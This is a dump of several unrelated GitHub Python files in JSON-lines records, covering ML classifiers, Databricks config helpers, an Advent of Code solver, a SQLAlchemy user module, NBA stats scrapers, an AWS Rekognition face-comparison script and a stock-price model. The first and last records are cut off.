vectors_test.append(model.infer_vector(content_test.values[i]))\nvectors_test=np.array(vectors_test)\nlabels=clf.predict(vectors_test)\ntest[\"sentiment_value\"]=labels\ntest[\"sentiment_value\"]=test[\"sentiment_value\"].astype(int)\ntest=test.drop(\"content\",axis=1)\ntest.to_csv(\"svm.csv\",index=False,encoding=\"UTF-8\")","repo_name":"ZhixiangSu/BDCI2018","sub_path":"sentiment_value_test/SVM.py","file_name":"SVM.py","file_ext":"py","file_size_in_byte":889,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"15727365645","text":"from sklearn.feature_extraction.text import TfidfVectorizer\nimport pandas as pd\nfrom bs4 import BeautifulSoup\nfrom sklearn import svm\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.linear_model import SGDClassifier\nfrom sklearn.linear_model import PassiveAggressiveClassifier\nfrom sklearn.feature_extraction.text import TfidfTransformer\nimport sys\nimport pickle\n\ndata = pd.read_csv('dataset.csv')\nabstracts = [BeautifulSoup(x).get_text() for x in data['abstract']]\n\ntfidf = TfidfVectorizer()\nX = tfidf.fit_transform(abstracts)\ny = data['type'].to_numpy()\n\nsupport_vec = svm.SVC(kernel='rbf', C=1000, gamma=0.001)\nrf = RandomForestClassifier(criterion='gini', max_features='sqrt', n_estimators=700)\nsgd = SGDClassifier(alpha=0.0001, fit_intercept=True, loss='modified_huber', penalty='l2')\npac = PassiveAggressiveClassifier(C=1.0, early_stopping=True, fit_intercept=True, max_iter=2000)\n\nsupport_vec.fit(X, y)\nrf.fit(X, y)\nsgd.fit(X, y)\npac.fit(X, y)\n\n\np_data = pd.read_csv(sys.argv[1], sep='\\n', header=None)\np_data = p_data[0].str.split('\\t', expand=True)\n\n\ncolumns = ['pmid','authors','year','journal','year','abstract']\np_data.columns = columns\n\nabstract_list = [x if x is not None else '' for x in p_data['abstract']]\np_abstracts = [BeautifulSoup(x).get_text() for x in abstract_list]\n\nfake_indexes = []\nfor index in range(len(p_abstracts)):\n if p_abstracts[index] == '':\n print(str(index) + ' skipping')\n continue\n tfidf_pred = TfidfVectorizer(vocabulary=tfidf.vocabulary_)\n p_x = tfidf_pred.fit_transform([p_abstracts[index]])\n predictions = [support_vec.predict(p_x)[0], rf.predict(p_x)[0], sgd.predict(p_x)[0], pac.predict(p_x)[0]]\n # if there is a majority saying it is fake\n if predictions.count('fake') > 3:\n fake_indexes.append(index)\n print(str(index) + ' Fake!')\n else:\n print(index)\n\n# p_data.loc[fake_indexes].to_csv('115_predicted_fake.csv')\n\nprint('doing ids')\nids = []\nfor line in open('download_data/fake_pmids.txt'):\n ids.append(line.strip())\n print(line.strip())\n\nnewids = [x for x in list(p_data.loc[fake_indexes]['pmid']) if str(x) not in ids]\n\nprint('Potentially Fake PMIDs:')\nwith open('new_potentially_fake_pmids-' + sys.argv[1] + '.txt','w') as outfile:\n outfile.write('New Fake IDs\\n')\n for i in newids:\n outfile.write(str(i) + '\\n')\n print(i)","repo_name":"MSBradshaw/BioHackathon2020","sub_path":"predict_all_pubmed.py","file_name":"predict_all_pubmed.py","file_ext":"py","file_size_in_byte":2372,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"36917211275","text":"# DEFINITION OF DEFAULT VALUES\nDEFAULT_CLUSTER_NUM_WORKERS = 1\nDEFAULT_CLUSTER_NODE_TYPE_ID = 'Standard_DS3_v2'\nDEFAULT_CLUSTER_CUSTOM_TAGS = {\n 'Department': 'DataEngineering',\n 'Environment': 'Production'\n}\nDEFAULT_CLUSTER_SPARK_VERSION = '5.5.x-scala2.11'\nDEFAULT_CLUSTER_PYTHON_VERSION = '/databricks/python3/bin/python3'\nDEFAULT_NOTEBOOK_PARAMETERS = {\n 'START_DATE' : '{{ ds }}',\n 'END_DATE' : '{{ tomorrow_ds }}',\n}\n\n\ndef generate_cluster(\n node_type_id = DEFAULT_CLUSTER_NODE_TYPE_ID,\n num_workers = DEFAULT_CLUSTER_NUM_WORKERS,\n other = {}):\n \"\"\"\n Return a databricks cluster definition\n\n Args:\n note_type_id (str): (optional, default: 'Standard_DS3_v2') Type of node to spin up, such as Standard_F8s.\n num_workers (int): (optional, default 2) Defines the number of workers\n other (dict): (optional, default {}) Sets and overwrites any cluster configuration present in given dictionary.\n E.g. other = {'spark_conf': {'spark.driver.maxResultSize': '16g'}}\n See: https://docs.microsoft.com/en-gb/azure/databricks/dev-tools/api/latest/jobs#jobsclusterspecnewcluster.\n\n Returns:\n dict: configuration of new databricks job cluster\n\n \"\"\"\n params = {\n 'node_type_id': node_type_id,\n 'num_workers': num_workers,\n 'spark_version': DEFAULT_CLUSTER_SPARK_VERSION,\n 'custom_tags': DEFAULT_CLUSTER_CUSTOM_TAGS,\n 'spark_env_vars': {\n 'PYSPARK_PYTHON': DEFAULT_CLUSTER_PYTHON_VERSION\n }\n }\n\n for k in other:\n params[k] = other[k]\n\n return params\n\n\ndef generate_notebook_task(notebook_path, parameters = {}):\n \"\"\"\n Generate a notebook tasks.\n The parameters START_DATE and END_DATE are automatically appended,\n but can be overwritten via 'parameters'.\n\n - notebook_path: Path to notebook in Databricks workspace\n - parameters: JSON object to manually append parameters.\n Eg. parameters = {\n 'param1': 'Hello World',\n 'param2': 42.\n 'param3': '{{ task_instance_key_str }}'\n }\n \"\"\"\n\n base_parameters = DEFAULT_NOTEBOOK_PARAMETERS\n\n for k in parameters:\n base_parameters[k] = parameters[k]\n\n return {\n # Path to notebook to run. Eg. '/production/jobs/integration/business_cost'\n 'notebook_path': notebook_path,\n\n # Arguments send to notebook. Notebook can accept them via dbutils.widgets\n 'base_parameters': base_parameters\n }\n","repo_name":"aoyerinde/docker_ci_cd_project","sub_path":"shared_functions/utilities_databricks.py","file_name":"utilities_databricks.py","file_ext":"py","file_size_in_byte":2553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"1894826215","text":"with open('.\\input.txt', 'r') as file:\n input = file.read().splitlines()\ninp = {}\nfor line in input:\n key, flow = line.split(';')[0].split(' ')[1], int(line.split(';')[0].split('=')[-1])\n tunnels = tuple([x for x in line.split(';')[1].replace(',','').split(' ')[5:]])\n inp[key] = (flow, tunnels)\n\n# Definerer en graf som representerer avstanden mellom de ulike ventilene.\n# Del 2 tar fryktelig lang tid å beregne. Mulige forbedringer kan være å fjerne\n# alle ventiler som \"flow\"-rate lik 0 etter at grafen er opprettet for å redusere\n# antall stier DFS-algoritmene må søke igjennom. I tillegg bør mennesket og elefanten\n# i del 2 operere på to ulike sett av ventiler. Da kan man kanskje kjøre DFS-algoritmen \n# for del 1 og returnere alle sett som har lengde lik halvparten av antall ventiler +-1\n# og se hvilke par av ulike sett som gir høyest score.\nclass Graph:\n def __init__(self):\n self.graph, self.flows = {}, {}\n def addEdge(self, parent, childs):\n try:\n self.graph[parent][childs[0]] = childs[1]\n except:\n self.graph[parent] = {childs[0]: childs[1]}\n def addFlow(self, dict):\n self.flows = dict\n def updateEdgesToAll(self):\n temp = {}\n for key in self.graph:\n temp[key] = {}\n for k in self.graph:\n if k != key:\n temp[key][k]= self.shorestPath(key, k)\n for key in temp:\n for k in temp[key]:\n self.addEdge(key, (k, temp[key][k]))\n def shorestPath(self, start, end):\n queue, visited, steps = [start], [start], 1\n path = {}\n while len(queue) != 0:\n vertex = queue.pop(0)\n if vertex == end:\n backtracker = end\n while path[backtracker] != start:\n backtracker = path[backtracker]\n steps += 1\n return steps\n for vertices in self.graph[vertex]:\n if vertices not in visited:\n visited.append(vertices)\n queue.append(vertices)\n path[vertices] = vertex\n return 0\n# Oppretter grafen og legger til en egen dict for de ulike\n# \"flow\"-ratene for ventilene. I tillegg legges det til kanter mellom\n# alle ventilene\nG = Graph() \nflow = {}\nfor keys in inp:\n flow[keys] = inp[keys][0]\n for c in inp[keys][1]:\n G.addEdge(keys, (c, 1))\nG.addFlow(flow)\nG.updateEdgesToAll()\n\n# ---------------------------------------- Del 1 -------------------------------------------\n# DFS-algoritme som søker seg igjennom grafen og finner optimal score(\"pressure release\")\n# Fungerer relativt greit for del 1\ndef findOptimalPressure(g, start, score, i, visited):\n if i <= 0:\n return score\n maxS = score\n for valve in g.graph[start]:\n if valve not in visited and g.flows[valve] != 0:\n q = i - g.graph[start][valve] - 1\n if q >= 0:\n s = q*g.flows[valve] + score\n visitedExtended = [val for val in visited]\n visitedExtended.append(valve)\n ss = findOptimalPressure(g, valve, s, q, visitedExtended)\n if ss > maxS:\n maxS = ss\n return maxS\n\nprint(findOptimalPressure(G, 'AA', 0, 30, []))\n\n# ---------------------------------------- Del 2 -------------------------------------------\n# En modifisert versjon av DFS-algoritmen over. For hver ventil enten mennesket eller elefanten\n# åpner sjekkes samtlige stier som den motsatte \"spilleren\" kan ta. Funksjonen gir riktig svar \n# men bruker forferdelig lang tid på å beregne scoren, type ~ 30 min...\n\ndef findOptimalPressureV2(g, start, score, i, visited):\n if i[0] <= 0 and i[1] <= 0 or len(visited) == len(g.graph):\n return score\n maxS = score\n for valve in g.graph[start[0]]:\n if valve not in visited:\n q1 = i[0] - g.graph[start[0]][valve] - 1\n if q1 >= 0:\n s1 = q1*g.flows[valve] + score\n visitedExtended = [val for val in visited]\n visitedExtended.append(valve)\n for vals in g.graph[start[1]]:\n if vals not in visitedExtended:\n q2 = i[1] - g.graph[start[1]][vals] - 1\n if q2 >= 0:\n s2 = q2*g.flows[vals] + s1\n visitedExt = [val for val in visitedExtended]\n visitedExt.append(vals)\n ss = findOptimalPressureV2(g, [valve, vals], s2, [q1, q2], visitedExt)\n if ss > maxS:\n maxS = ss\n return maxS\nvisited = []\nfor key in G.flows:\n if G.flows[key] == 0:\n visited.append(key)\nprint(findOptimalPressureV2(G, ['AA', 'AA'], 0, [26, 26], visited))","repo_name":"emop2109/AoC2022","sub_path":"Day 16/solution.py","file_name":"solution.py","file_ext":"py","file_size_in_byte":4864,"program_lang":"python","lang":"no","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"7690640877","text":"import random\nimport numpy as np\nimport torch\nfrom utils.utils import standardization, get_feats_and_labels\n\n\ndef data_pro(args):\n # data_path = args.ae_data_path\n # data1 = torch.load(data_path).numpy()\n # data_path = args.oringin_data_path\n # data2 = np.loadtxt(data_path, delimiter=',', skiprows=1)\n # print(1)\n\n if args.use_AE:\n data_path = args.ae_data_path\n data = torch.load(data_path).numpy()\n else:\n data_path = args.oringin_data_path\n data = np.loadtxt(data_path, delimiter=',', skiprows=1)\n bond_idx = list(set(data[:, 0]))\n num_row, num_col = data.shape\n random.shuffle(bond_idx)\n train_index = bond_idx[:len(bond_idx)*2//3]\n val_index = bond_idx[len(bond_idx)*2//3:]\n test_index = [2, 5, 13, 15, 29,\n 39, 40, 168, 171, 178,\n 195, 216, 226, 230, 233,\n 242, 244, 247, 249, 254,\n 261, 264, 270, 285, 294,\n 332, 343]\n\n train_bool_index = np.zeros(num_row, dtype=bool)\n val_bool_index = np.zeros(num_row, dtype=bool)\n test_bool_index = np.zeros(num_row, dtype=bool)\n for i in range(num_row):\n if int(data[i, 0]) in test_index:\n test_bool_index[i] = True\n elif data[i, 0] in val_index:\n val_bool_index[i] = True\n else:\n train_bool_index[i] = True\n\n train_data = data[train_bool_index]\n val_data = data[val_bool_index]\n test_data = data[test_bool_index]\n\n # 2. 对训练数据进行标准化\n if args.use_AE:\n except_col = [0]\n else:\n except_col = [0, 53]\n except_index = np.zeros(num_col, dtype=bool)\n except_index[except_col] = True\n mu, sigma, train_data[:, ~except_index] = standardization(train_data[:, ~except_index], None, None)\n _, _, val_data[:, ~except_index] = standardization(val_data[:, ~except_index], mu, sigma)\n _, _, test_data[:, ~except_index] = standardization(test_data[:, ~except_index], mu, sigma)\n \n\n # 3. 对序列进行划分,并得到特征和标签\n train_data = get_feats_and_labels(train_data, args.seq_length)\n val_data = get_feats_and_labels(val_data, args.seq_length)\n test_data = get_feats_and_labels(test_data, args.seq_length)\n\n return mu, sigma, train_data, val_data, test_data\n\n\n# # cell test\n# import sys\n# sys.path.append('./')\n# sys.path.append('../')\n# from utils.args_lstm import args\n# import numpy as np\n# from utils.utils import standardization, get_feats_and_labels\n# print(args)\n# a = data_pro(args)\n","repo_name":"zybssg/Bonds_Price_Prediction","sub_path":"data/data_process.py","file_name":"data_process.py","file_ext":"py","file_size_in_byte":2556,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"27771332165","text":"from typing import Optional\nfrom sqlalchemy.ext.asyncio import AsyncSession\n\nfrom db.layers.users import UsersLayer\nfrom models import User\n\n\"\"\"\nModule for interacting with the \"Users\" table\n\"\"\"\n\nasync def get_user_by_id(session: AsyncSession,\n user_id: int\n ) -> Optional[User]:\n \"\"\"\n Function for getting a user by his ID\n :param session: async session for working with the database\n :param user_id: User ID\n :return: User object\n \"\"\"\n async with session.begin():\n users_layer = UsersLayer(session)\n user = await users_layer.get_user_by_id(\n user_id=user_id,\n )\n if user is not None:\n return user\n\nasync def create_user(session: AsyncSession,\n login: str,\n password: str,\n ) -> User:\n \"\"\"\n Function for creating a user\n :param session: async session for working with the database\n :param login: user login\n :param password: user password\n :return: Created user object\n \"\"\"\n async with session.begin():\n users_layer = UsersLayer(session)\n user = await users_layer.create_user(\n login=login,\n password=password\n )\n return user\n\nasync def update_user(session: AsyncSession,\n user_id: int,\n **kwargs\n ) -> Optional[User]:\n \"\"\"\n Function for updating a user\n :param session: async session for working with the database\n :param user_id: User ID\n :param kwargs: dict columns with values\n :return: Updated user object\n \"\"\"\n async with session.begin():\n users_layer = UsersLayer(session)\n user = await users_layer.update_user(\n user_id=user_id,\n **kwargs\n )\n return user\n\nasync def delete_user(session: AsyncSession,\n user_id: int,\n ) -> Optional[User]:\n \"\"\"\n Function for deleting a user\n :param session: async session for working with the database\n :param user_id: User ID\n :return: Deleted user object\n \"\"\"\n async with session.begin():\n users_layer = UsersLayer(session)\n user = await users_layer.delete_user(\n user_id=user_id,\n )\n return user\n","repo_name":"DraksPlay/peopeople","sub_path":"src/db/tables/users.py","file_name":"users.py","file_ext":"py","file_size_in_byte":2335,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"3918537427","text":"#Method to extract the information of players per season\ndef scrape_season_stats(base_url, year_start, year_end):\n '''\n Function to Extract NBA seasons Data\n '''\n \n #Libraries\n import pandas as pd\n import requests\n from bs4 import BeautifulSoup\n\n #Create Range of Years Scraping\n years = range(year_start,year_end+1,1)\n\n #Start DataFrame\n df_season = pd.DataFrame()\n\n #Do task for all years in range\n for year in years:\n\n try:\n #Message\n print(f'Extracting data from the {year} season')\n\n #Request\n request_url = base_url.format(year)\n req = requests.get(request_url)\n\n #Get Html Content\n soup = BeautifulSoup(req.content, 'html.parser')\n table = soup.find('table', {'id':'totals_stats'})\n\n #Convert in Pandas DataFrame\n df = pd.read_html(str(table))[0]\n\n #Save Control Info\n df['Year'] = year\n df['Season'] = f'{year-1}-{str(year)[2:]}'\n\n #Append Year\n df_season = df_season.append(df)\n \n except Exception as excp:\n #Message\n print(f'Problem Extracting data from the {year} season')\n print(excp)\n \n #Filter RK\n df_season_clean = df_season[~(df_season['Rk'] == 'Rk')]\n\n #Return Data \n return df_season_clean\n\n#Method to extract the information of all seasons\ndef scrape_all_seasons(base_url):\n '''\n Function to Extract All NBA seasons Data\n '''\n \n #Libraries\n import pandas as pd\n import requests\n from bs4 import BeautifulSoup\n\n try:\n #Request\n req = requests.get(base_url)\n \n #Scrape\n soup = BeautifulSoup(req.content, 'html.parser')\n table = soup.find('table', {'id':'stats'})\n\n #Return df\n df_total = pd.read_html(str(table))[0]\n df_total.columns = df_total.columns.droplevel()\n \n except Exception as excp:\n #Message\n print(f'Problem Extracting All Season')\n print(excp)\n\n return(df_total)\n\n\ndef scrape_all_mvp(base_url):\n '''\n Function to Extract All NBA seasons Data\n '''\n \n #Libraries\n import pandas as pd\n import requests\n from bs4 import BeautifulSoup\n\n try:\n #Request\n req = requests.get(base_url)\n \n #Scrape\n soup = BeautifulSoup(req.content, 'html.parser')\n table = soup.find('table', {'id':'mvp_NBA'})\n\n #Return df\n df_total = pd.read_html(str(table))[0]\n df_total.columns = df_total.columns.droplevel()\n \n except Exception as excp:\n #Message\n print(f'Problem Extracting All Season')\n print(excp)\n\n return(df_total)","repo_name":"FabioCaffarello/NBA","sub_path":"NbaFunctions/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":2755,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"5028129993","text":"# I will be using Amazon SDK for Python (Boto)\nimport boto3\n\nimport cv2\n\ncam = cv2.VideoCapture(0)\n\ncv2.namedWindow(\"python-cam-capture\")\n\nimg_counter = 0\n\nwhile True:\n if img_counter == 2:\n break\n ret, frame = cam.read()\n cv2.imshow(\"python-cam-capture\", frame)\n if not ret:\n break\n k = cv2.waitKey(1)\n\n if k % 256 == 27:\n # ESC pressed\n print(\"Escape hit, closing...\")\n break\n elif k % 256 == 32:\n # SPACE pressed\n img_name = \"rekognition_{}.png\".format(img_counter)\n cv2.imwrite(img_name, frame)\n print(\"{} written!\".format(img_name))\n img_counter += 1\n\n \n\n\n\nwith open(\"rekognition_0.png\", \"rb\") as imageFile:\n f = imageFile.read()\n str1 = bytearray(f)\n\nwith open(\"rekognition_1.png\", \"rb\") as imageFile:\n f = imageFile.read()\n str2 = bytearray(f)\n\nclient = boto3.client('rekognition', region_name='us-west-2')\n# pdb.set_trace()\ntry:\n response = client.compare_faces(\n SourceImage={\n 'Bytes': str1,\n # 'S3Object': {\n # 'Bucket': 'shariqueme',\n # 'Name': 'sharique1.jpg',\n # 'Version': 'string'\n # }\n },\n TargetImage={\n 'Bytes': str2,\n # 'S3Object': {\n # 'Bucket': 'shariqueme',\n # 'Name': 'sharique3.jpg',\n # # 'Version': 'string'\n # }\n },\n\n SimilarityThreshold=25\n )\n\n print(response)\n try:\n\n a = response['FaceMatches']\n t = a[0]\n print('face matches ' + str(t['Similarity']) + ' percent')\n except:\n print(\"source and target images don't have any similar faces\")\nexcept Exception as e:\n print(\"Invalid parameters\", e)\n\n\n","repo_name":"khaleeque-ansari/facial-recognition","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1764,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"469852521","text":"# Cлучайный лес\nimport pandas as pd\nfrom sklearn.ensemble import RandomForestRegressor\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.metrics import mean_squared_error, r2_score\nimport matplotlib.pyplot as plt\n\n# Загрузка данных\ndata = pd.read_csv('/content/drive/MyDrive/Colab Notebooks/LKOH.csv')\n\ndata = data.dropna()\ndata.rename(columns={'': 'DATE'}, inplace=True)\ndata.rename(columns={'': 'CLOSE'}, inplace=True)\ndata.rename(columns={'': 'OPEN'}, inplace=True)\ndata.rename(columns={'': 'HIGH'}, inplace=True)\ndata.rename(columns={'': 'LOW'}, inplace=True)\ndata.rename(columns={'': 'VOL'}, inplace=True)\ndata[\"DATE\"] = data.index\ndata = data.drop('